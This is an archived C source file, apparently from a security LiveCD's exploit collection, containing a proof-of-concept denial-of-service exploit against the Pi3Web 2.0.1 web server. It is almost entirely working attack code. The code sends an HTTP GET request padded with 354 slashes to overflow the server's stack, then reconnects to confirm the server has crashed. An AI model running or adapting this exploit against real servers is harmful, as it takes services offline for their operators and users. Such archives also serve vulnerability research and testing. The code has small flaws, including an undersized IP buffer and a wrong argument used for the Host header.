home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webserver / pi3 / PiDoS.c < prev   
C/C++ Source or Header  |  2005-02-12  |  2KB  |  105 lines

  1. /* Pi3Web 2.0.1 DoS - Pr00f of concept.
  2. *
  3. * Vulnerable systems: Pi3Web 2.0.1 (maybe others)
  4. * Vendor: www.johnroy.com/pi3  - http://pi3web.sourceforge.net/
  5. * Patch: no yet.
  6. *
  7. * Info: Pi3Web Server is vulnerable to a denial of Service.
  8. *        when a malformed HTTP Request is done the webserver hangs due to an stack overflow.
  9. *         GET /////////..[354]../////////
  10. *
  11. * Found by aT4r@3wdesign.es  04/26/2003
  12. * Copyright (c) 2003 www.3wdesign.es Security
  13. * THIS SOFTWARE IS PROVIDED "AS IS" WITHOUT WARRANTIES.
  14. * USE IT AT YOUR OWN RISK.
  15. *
  16. * #haxorcitos @ efnet Rocks!!!
  17. * Feel The p0wer of aT4r, Drakar, [Back], |tyr|, Tarako, croulder
  18. * Compiled with: lcc-win32 v3.3.
  19. *
  20. */
  21. #pragma comment (lib,"ws2_32")
  22. #include <stdio.h>
  23. #include <windows.h>
  24. #include <winsock2.h>
  25. #include <string.h>
  26.  
  27. char evilbuffer[1024],evilrequest[512],ip[15];
  28. short port=80;
  29.  
  30.  
  31. int isalive(int OPT)
  32. {
  33.     struct sockaddr_in haxorcitos;
  34.     int fd;
  35.  
  36.     haxorcitos.sin_port = htons(port);
  37.     haxorcitos.sin_family = AF_INET;
  38.     haxorcitos.sin_addr.s_addr = inet_addr(ip);
  39.  
  40.     if ((fd = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1)
  41.     {
  42.         printf(" [-] Unable to Create Socket\n\n");
  43.         return(0);
  44.     }
  45.     if (connect(fd,( struct sockaddr *)&haxorcitos,sizeof(haxorcitos)) == -1)
  46.     {
  47.         if (OPT==0)
  48.             printf(" [+] Exploit Success. Remote webserver shutdown\n");
  49.         else
  50.             printf(" [-] Unable to connect\n\n");
  51.         return(0);
  52.     }
  53.     if (OPT==0)
  54.     {
  55.         printf(" [-] Exploit Failed. System Patched?\n\n");
  56.     }
  57.     else
  58.     {
  59.         send(fd,evilbuffer, strlen(evilbuffer),0);
  60.         printf(" [+] Data Sent. Now Checking Host\n");
  61.         closesocket(fd);
  62.  
  63.     }
  64. return(1);
  65. }
  66.  
  67.  
  68. void usage(void)
  69. {
  70.     printf(" [+] Usage: PiDoS.exe HOST [port]\n\n");    exit(1);
  71. }
  72.  
  73.  
  74. void main(int argc,char *argv[])
  75. {
  76.     WSADATA ws;
  77.  
  78.     if    (WSAStartup( MAKEWORD(1,1), &ws )!=0)
  79.     {
  80.         printf(" [+] WSAStartup() error\n");
  81.         exit(0);
  82.     }
  83.  
  84.     printf("\n . .. ...:Pi3Web Denial of Service (aT4r@3wdesign.es) :... 
  85. ..\n\n");
  86.  
  87.     if ((argc!=2) && (argc!=3))
  88.         usage();
  89.  
  90.     strcpy(ip,argv[1]);
  91.     if (argc==3) port=atoi(argv[2]);
  92.  
  93.     memset(evilrequest,0,512);
  94.     memset(evilbuffer,0,1024);
  95.     memset(evilrequest,'/',354);
  96.     //sprintf(evilbuffer, "GET %s\r\n",evilrequest);
  97.     sprintf(evilbuffer,"GET %s HTTP/1.0\r\nUser-Agent: foo\r\nHost: 
  98. %s\r\n\r\n\r\n",evilrequest,argv[2]);
  99.  
  100.     if (isalive(1))
  101.         { sleep(1000); isalive(0);}
  102.  
  103. }
  104.  
  105.